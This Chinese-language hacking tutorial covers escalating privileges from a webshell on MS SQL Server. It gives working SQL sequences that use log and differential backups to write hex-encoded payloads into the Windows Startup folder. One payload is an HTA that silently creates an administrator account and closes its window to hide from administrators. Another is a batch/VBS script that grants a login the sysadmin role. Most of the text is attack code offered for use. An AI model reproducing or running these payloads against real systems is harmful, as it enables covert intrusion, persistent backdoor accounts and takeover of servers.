| 关键词: 备份 cmd backup table database 6563686 7662730 disk moweb002 BAT |
原文里用的方法是备份出BAT文件,下面回复有人提到本地测试成功,而放到WEBSHELL上提权时效果不佳,其实原因还是出在BAT上,因为在 DOS下单条命令长度是有限制的(好像是128位字符吧,不记得了),大家在本地测试时数据库一定很小(几乎是空的吧),而放WEBSHELL里提权时数据库相对较大,而且不论是LOG备份还是差异备份在备份时都会加入N多数据,只要在你备份前的BAT数据之前有一行是大于128位字符的在备份后的BAT 执行时就会自动退出,不信你可以在本地建个BAT删掉@echo off这一行后在DOS运行你的BAT试试看。这就是本地测试成功,用于WEBSHELL提权时失效的原因了。 BAT不行我们试试HTA,关于HTA的文件格式大家自行GOOGLE或BAIDU <SCRIPT LANGUAGE="VBScript"> Set WS = WScript.CreateObject("WScript.Shell") WS.run "cmd /c net user x140le 342101591 /add",0 WS.run "cmd /c net localgroup administrators x140le /add",0 </Script> <script language=javascript>window.close();</script> 把上面这段代码转为16进制后再在头尾各加两个回车备份出来为HTA后缀就可加大成功率了。最后一行加个JS代码自动关掉HTA运行时弹出的窗口来躲过管理员的眼睛。 贴下备份代码: 1.Log备份: alter database 库名 set RECOVERY FULL-- create table cmd (a image)-- backup log 库名 to disk='c:\cmd1' with init-- insert into cmd(a) values (0x130A0D0A3C534352495054204C414E47554147453D225642536372697074223E0D0A536574205753203D20575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C2229200D0A57532E72756E2022636D64202F63206E6574207573657220783134306C6520333432313031353931202F616464222C300D0A57532E72756E2022636D64202F63206E6574206C6F63616C67726F75702061646D696E6973747261746F727320783134306C65202F616464222C300D0A3C2F5363726970743E0D0A3C736372697074206C616E67756167653D6A6176617363726970743E77696E646F772E636C6F736528293B3C2F7363726970743E0D0A0D0A)-- backup log 库名 to disk='C:\Documents and Settings\All Users\「开始」菜单\程序\启动\run.hta'-- drop table cmd-- alter database 库名 set RECOVERY SIMPLE-- 2.差异备份: backup database 库名 to disk='c:\ddd.bak'-- create table dtest (cmd image)-- insert into dtest(cmd) values (0x130A0D0A3C534352495054204C414E47554147453D225642536372697074223E0D0A536574205753203D20575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C2229200D0A57532E72756E2022636D64202F63206E6574207573657220783134306C6520333432313031353931202F616464222C300D0A57532E72756E2022636D64202F63206E6574206C6F63616C67726F75702061646D696E6973747261746F727320783134306C65202F616464222C300D0A3C2F5363726970743E0D0A3C736372697074206C616E67756167653D6A6176617363726970743E77696E646F772E636C6F736528293B3C2F7363726970743E0D0A0D0A)-- backup database 库名 to disk='C:\Documents and Settings\All Users\「开始」菜单\程序\启动\run.hta' WITH DIFFERENTIAL,FORMAT-- drop table dtest-- ================================================== 上面的代码是用WScript.Shell组件执行加管理员的命令的,现在安全性高点的主机都不会留着它给你提权用,如果没有WScript.Shell 组件我们还可以用 Shell.Application Wscript.Network ,如果这些都不可用我们还可以用FSO直接来写其它文件..... (说得太多了,留点空间大家发挥吧......) 韩文参照: alter database moweb002 set RECOVERY FULL-- create table moweb002..cmd(a image)-- backup log moweb002 to disk='c:\cmd1' with init-- insert into cmd(a) values (0x130A0D0A406563686F206F66660D0A6563686F20736574207773687368656C6C3D6372656174656F626A6563742822777363726970742E7368656C6C22293E6B2E7662730D0A6563686F2065786563206D61737465722E64626F2E73705F616464737276726F6C656D656D626572206D6F7765623030322C73797361646D696E3E633A5C746573742E7172790D0A6563686F20623D7773687368656C6C2E72756E2822636D642E657865202F63206973716C202D45202F5520616C6D61202F50202F6920633A5C746573742E717279222C30293E3E6B2E7662730D0A6B2E7662730D0A64656C2025300D0A)-- backup log moweb002 to disk='C:\Documents and Settings\All Users\?? ??\????\??????\1.bat'-- drop table cmd-- 中文对照: alter database moweb00 set RECOVERY FULL-- create table moweb002..cmd(a image)-- backup log moweb002 to disk='c:\cmd1' with init-- insert into cmd(a) values (0x130A0D0A406563686F206F66660D0A6563686F20736574207773687368656C6C3D6372656174656F626A6563742822777363726970742E7368656C6C22293E6B2E7662730D0A6563686F2065786563206D61737465722E64626F2E73705F616464737276726F6C656D656D626572206D6F7765623030322C73797361646D696E3E633A5C746573742E7172790D0A6563686F20623D7773687368656C6C2E72756E2822636D642E657865202F63206973716C202D45202F5520616C6D61202F50202F6920633A5C746573742E717279222C30293E3E6B2E7662730D0A6B2E7662730D0A64656C2025300D0A)-- backup log moweb002 to disk='C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.bat'-- drop table cmd-- |
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